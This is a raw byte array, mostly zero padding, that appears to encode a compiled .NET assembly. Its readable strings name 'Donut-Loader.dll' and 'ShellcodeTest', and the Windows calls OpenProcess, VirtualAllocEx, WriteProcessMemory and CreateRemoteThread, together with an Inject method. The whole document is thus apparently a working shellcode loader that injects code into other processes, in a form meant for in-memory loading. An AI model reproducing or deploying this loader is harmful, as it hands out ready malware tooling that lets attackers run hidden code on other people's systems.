0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 132, 33, 0, 0, 144, 11, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 3, 0, 62, 0, 0, 0, 1, 0, 0, 17, 0, 2, 142, 105, 23, 254, 2, 10, 6, 45, 13, 2, 22, 154, 40, 16, 0, 0, 10, 128, 12, 0, 0, 4, 2, 23, 154, 128, 11, 0, 0, 4, 2, 23, 154, 128, 10, 0, 0, 4, 126, 11, 0, 0, 4, 126, 10, 0, 0, 4, 126, 12, 0, 0, 4, 40, 8, 0, 0, 6, 38, 42, 0, 0, 19, 48, 7, 0, 140, 0, 0, 0, 2, 0, 0, 17, 0, 4, 40, 18, 0, 0, 10, 10, 6, 111, 19, 0, 0, 10, 40, 20, 0, 0, 10, 0, 6, 40, 10, 0, 0, 6, 22, 254, 1, 19, 7, 17, 7, 45, 4, 2, 11, 43, 2, 3, 11, 7, 40, 21, 0, 0, 10, 12, 32, 58, 4, 0, 0, 22, 6, 111, 19, 0, 0, 10, 40, 2, 0, 0, 6, 13, 9, 126, 22, 0, 0, 10, 8, 142, 105, 184, 32, 0, 48, 0, 0, 31, 64, 40, 5, 0, 0, 6, 19, 4, 9, 17, 4, 8, 8, 142, 105, 184, 18, 5, 40, 6, 0, 0, 6, 38, 9, 126, 22, 0, 0, 10, 22, 17, 4, 126, 22, 0, 0, 10, 22, 126, 22, 0, 0, 10, 40, 7, 0, 0, 6, 38, 22, 19, 6, 43, 0, 17, 6, 42, 19, 48, 2, 0, 23, 0, 0, 0, 3, 0, 0, 17, 0, 22, 10, 2, 111, 23, 0, 0, 10, 18, 0, 40, 9, 0, 0, 6, 38, 6, 11, 43, 0, 7, 42, 146, 114, 1, 0, 0, 112, 128, 10, 0, 0, 4, 114, 1, 0, 0, 112, 128, 11, 0, 0, 4, 40, 24, 0, 0, 10, 111, 19, 0, 0, 10, 128, 12, 0, 0, 4, 42, 30, 2, 40, 25, 0, 0, 10, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 52, 4, 0, 0, 35, 126, 0, 0, 160, 4, 0, 0, 96, 5, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 0, 10, 0, 0, 4, 0, 0, 0, 35, 85, 83, 0, 4, 10, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 20, 10, 0, 0, 124, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 87, 29, 2, 20, 9, 0, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 12, 0, 0, 0, 12, 0, 0, 0, 30, 0, 0, 0, 25, 0, 0, 0, 9, 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 7, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 65, 0, 58, 0, 10, 0, 133, 1, 114, 1, 6, 0, 105, 2, 74, 2, 6, 0, 2, 3, 232, 2, 6, 0, 45, 3, 27, 3, 6, 0, 68, 3, 27, 3, 6, 0, 97, 3, 27, 3, 6, 0, 128, 3, 27, 3, 6, 0, 153, 3, 27, 3, 6, 0, 178, 3, 27, 3, 6, 0, 205, 3, 27, 3, 6, 0, 232, 3, 27, 3, 6, 0, 1, 4, 74, 2, 6, 0, 21, 4, 27, 3, 6, 0, 46, 4, 114, 1, 63, 0, 66, 4, 0, 0, 6, 0, 113, 4, 81, 4, 6, 0, 145, 4, 81, 4, 6, 0, 188, 4, 58, 0, 6, 0, 204, 4, 74, 2, 6, 0, 11, 5, 58, 0, 6, 0, 46, 5, 58, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 27, 0, 35, 0, 5, 0, 1, 0, 1, 0, 81, 128, 72, 0, 10, 0, 81, 128, 94, 0, 10, 0, 81, 128, 120, 0, 10, 0, 81, 128, 141, 0, 10, 0, 81, 128, 158, 0, 10, 0, 81, 128, 174, 0, 38, 0, 81, 128, 185, 0, 38, 0, 81, 128, 197, 0, 38, 0, 81, 128, 212, 0, 38, 0, 17, 0, 235, 0, 61, 0, 17, 0, 239, 0, 61, 0, 17, 0, 243, 0, 10, 0, 80, 32, 0, 0, 0, 0, 150, 0, 247, 0, 64, 0, 1, 0, 0, 0, 0, 0, 128, 0, 150, 32, 252, 0, 70, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 8, 1, 77, 0, 5, 0, 0, 0, 0, 0, 128, 0, 145, 32, 24, 1, 82, 0, 6, 0, 0, 0, 0, 0, 128, 0, 145, 32, 39, 1, 88, 0, 8, 0, 0, 0, 0, 0, 128, 0, 145, 32, 54, 1, 97, 0, 13, 0, 0, 0, 0, 0, 128, 0, 145, 32, 73, 1, 108, 0, 18, 0, 156, 32, 0, 0, 0, 0, 150, 0, 92, 1, 119, 0, 25, 0, 0, 0, 0, 0, 128, 0, 150, 32, 99, 1, 126, 0, 28, 0, 52, 33, 0, 0, 0, 0, 150, 0, 99, 1, 133, 0, 30, 0, 124, 33, 0, 0, 0, 0, 134, 24, 141, 1, 139, 0, 31, 0, 87, 33, 0, 0, 0, 0, 145, 24, 69, 5, 219, 0, 31, 0, 0, 0, 1, 0, 147, 1, 0, 0, 1, 0, 152, 1, 0, 0, 2, 0, 168, 1, 0, 0, 3, 0, 183, 1, 0, 0, 1, 0, 195, 1, 0, 0, 1, 0, 208, 1, 0, 0, 2, 0, 216, 1, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 234, 1, 0, 0, 3, 0, 244, 1, 0, 0, 4, 0, 251, 1, 0, 0, 5, 0, 12, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 22, 2, 0, 0, 3, 0, 36, 2, 0, 0, 4, 0, 45, 2, 2, 0, 5, 0, 51, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 118, 2, 0, 0, 3, 0, 137, 2, 0, 0, 4, 0, 149, 2, 0, 0, 5, 0, 164, 2, 0, 0, 6, 0, 176, 2, 0, 0, 7, 0, 192, 2, 0, 0, 1, 0, 239, 0, 0, 0, 2, 0, 235, 0, 0, 0, 3, 0, 203, 2, 0, 0, 1, 0, 225, 1, 2, 0, 2, 0, 211, 2, 0, 0, 1, 0, 224, 2, 25, 0, 141, 1, 139, 0, 33, 0, 141, 1, 143, 0, 41, 0, 141, 1, 143, 0, 49, 0, 141, 1, 143, 0, 57, 0, 141, 1, 143, 0, 65, 0, 141, 1, 143, 0, 73, 0, 141, 1, 143, 0, 81, 0, 141, 1, 143, 0, 89, 0, 141, 1, 143, 0, 97, 0, 141, 1, 143, 0, 105, 0, 141, 1, 148, 0, 113, 0, 141, 1, 143, 0, 121, 0, 141, 1, 153, 0, 137, 0, 141, 1, 159, 0, 145, 0, 141, 1, 139, 0, 153, 0, 196, 4, 164, 0, 161, 0, 141, 1, 143, 0, 17, 0, 245, 4, 173, 0, 17, 0, 4, 5, 179, 0, 169, 0, 19, 5, 183, 0, 153, 0, 29, 5, 188, 0, 177, 0, 53, 5, 194, 0, 17, 0, 58, 5, 210, 0, 17, 0, 76, 5, 223, 0, 9, 0, 141, 1, 139, 0, 8, 0, 4, 0, 13, 0, 8, 0, 8, 0, 18, 0, 8, 0, 12, 0, 23, 0, 8, 0, 16, 0, 28, 0, 8, 0, 20, 0, 33, 0, 9, 0, 24, 0, 41, 0, 9, 0, 28, 0, 46, 0, 9, 0, 32, 0, 51, 0, 9, 0, 36, 0, 56, 0, 46, 0, 19, 0, 228, 0, 46, 0, 27, 0, 28, 1, 46, 0, 35, 0, 46, 1, 46, 0, 43, 0, 46, 1, 46, 0, 51, 0, 46, 1, 46, 0, 59, 0, 28, 1, 46, 0, 67, 0, 52, 1, 46, 0, 75, 0, 46, 1, 46, 0, 91, 0, 46, 1, 46, 0, 107, 0, 72, 1, 46, 0, 115, 0, 81, 1, 46, 0, 123, 0, 90, 1, 169, 0, 197, 0, 214, 0, 223, 4, 236, 4, 0, 1, 5, 0, 252, 0, 1, 0, 6, 1, 7, 0, 8, 1, 1, 0, 67, 1, 9, 0, 24, 1, 2, 0, 65, 1, 11, 0, 39, 1, 1, 0, 64, 1, 13, 0, 54, 1, 1, 0, 0, 1, 15, 0, 73, 1, 1, 0, 0, 1, 19, 0, 99, 1, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 39, 28, 28, 80, 0, 0, 0, 0, 0, 0, 175, 4, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 49, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 58, 0, 0, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 68, 111, 110, 117, 116, 45, 76, 111, 97, 100, 101, 114, 46, 100, 108, 108, 0, 80, 114, 111, 103, 114, 97, 109, 0, 83, 104, 101, 108, 108, 99, 111, 100, 101, 84, 101, 115, 116, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 80, 82, 79, 67, 69, 83, 83, 95, 67, 82, 69, 65, 84, 69, 95, 84, 72, 82, 69, 65, 68, 0, 80, 82, 79, 67, 69, 83, 83, 95, 81, 85, 69, 82, 89, 95, 73, 78, 70, 79, 82, 77, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 79, 80, 69, 82, 65, 84, 73, 79, 78, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 87, 82, 73, 84, 69, 0, 80, 82, 79, 67, 69, 83, 83, 95, 86, 77, 95, 82, 69, 65, 68, 0, 77, 69, 77, 95, 67, 79, 77, 77, 73, 84, 0, 77, 69, 77, 95, 82, 69, 83, 69, 82, 86, 69, 0, 80, 65, 71, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 80, 65, 71, 69, 95, 69, 88, 69, 67, 85, 84, 69, 95, 82, 69, 65, 68, 87, 82, 73, 84, 69, 0, 120, 54, 52, 0, 120, 56, 54, 0, 112, 105, 100, 0, 77, 97, 105, 110, 0, 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115, 0, 71, 101, 116, 77, 111, 100, 117, 108, 101, 72, 97, 110, 100, 108, 101, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 86, 105, 114, 116, 117, 97, 108, 65, 108, 108, 111, 99, 69, 120, 0, 87, 114, 105, 116, 101, 80, 114, 111, 99, 101, 115, 115, 77, 101, 109, 111, 114, 121, 0, 67, 114, 101, 97, 116, 101, 82, 101, 109, 111, 116, 101, 84, 104, 114, 101, 97, 100, 0, 73, 110, 106, 101, 99, 116, 0, 73, 115, 87, 111, 119, 54, 52, 80, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 80, 114, 111, 99, 101, 115, 115, 0, 46, 99, 116, 111, 114, 0, 97, 114, 103, 115, 0, 100, 119, 68, 101, 115, 105, 114, 101, 100, 65, 99, 99, 101, 115, 115, 0, 98, 73, 110, 104, 101, 114, 105, 116, 72, 97, 110, 100, 108, 101, 0, 100, 119, 80, 114, 111, 99, 101, 115, 115, 73, 100, 0, 108, 112, 77, 111, 100, 117, 108, 101, 78, 97, 109, 101, 0, 104, 77, 111, 100, 117, 108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 104, 80, 114, 111, 99, 101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 100, 119, 83, 105, 122, 101, 0, 102, 108, 65, 108, 108, 111, 99, 97, 116, 105, 111, 110, 84, 121, 112, 101, 0, 102, 108, 80, 114, 111, 116, 101, 99, 116, 0, 108, 112, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 66, 117, 102, 102, 101, 114, 0, 110, 83, 105, 122, 101, 0, 108, 112, 78, 117, 109, 98, 101, 114, 79, 102, 66, 121, 116, 101, 115, 87, 114, 105, 116, 116, 101, 110, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 79, 117, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 108, 112, 84, 104, 114, 101, 97, 100, 65, 116, 116, 114, 105, 98, 117, 116, 101, 115, 0, 100, 119, 83, 116, 97, 99, 107, 83, 105, 122, 101, 0, 108, 112, 83, 116, 97, 114, 116, 65, 100, 100, 114, 101, 115, 115, 0, 108, 112, 80, 97, 114, 97, 109, 101, 116, 101, 114, 0, 100, 119, 67, 114, 101, 97, 116, 105, 111, 110, 70, 108, 97, 103, 115, 0, 108, 112, 84, 104, 114, 101, 97, 100, 73, 100, 0, 112, 114, 111, 99, 80, 73, 68, 0, 108, 112, 83, 121, 115, 116, 101, 109, 73, 110, 102, 111, 0, 112, 114, 111, 99, 101, 115, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 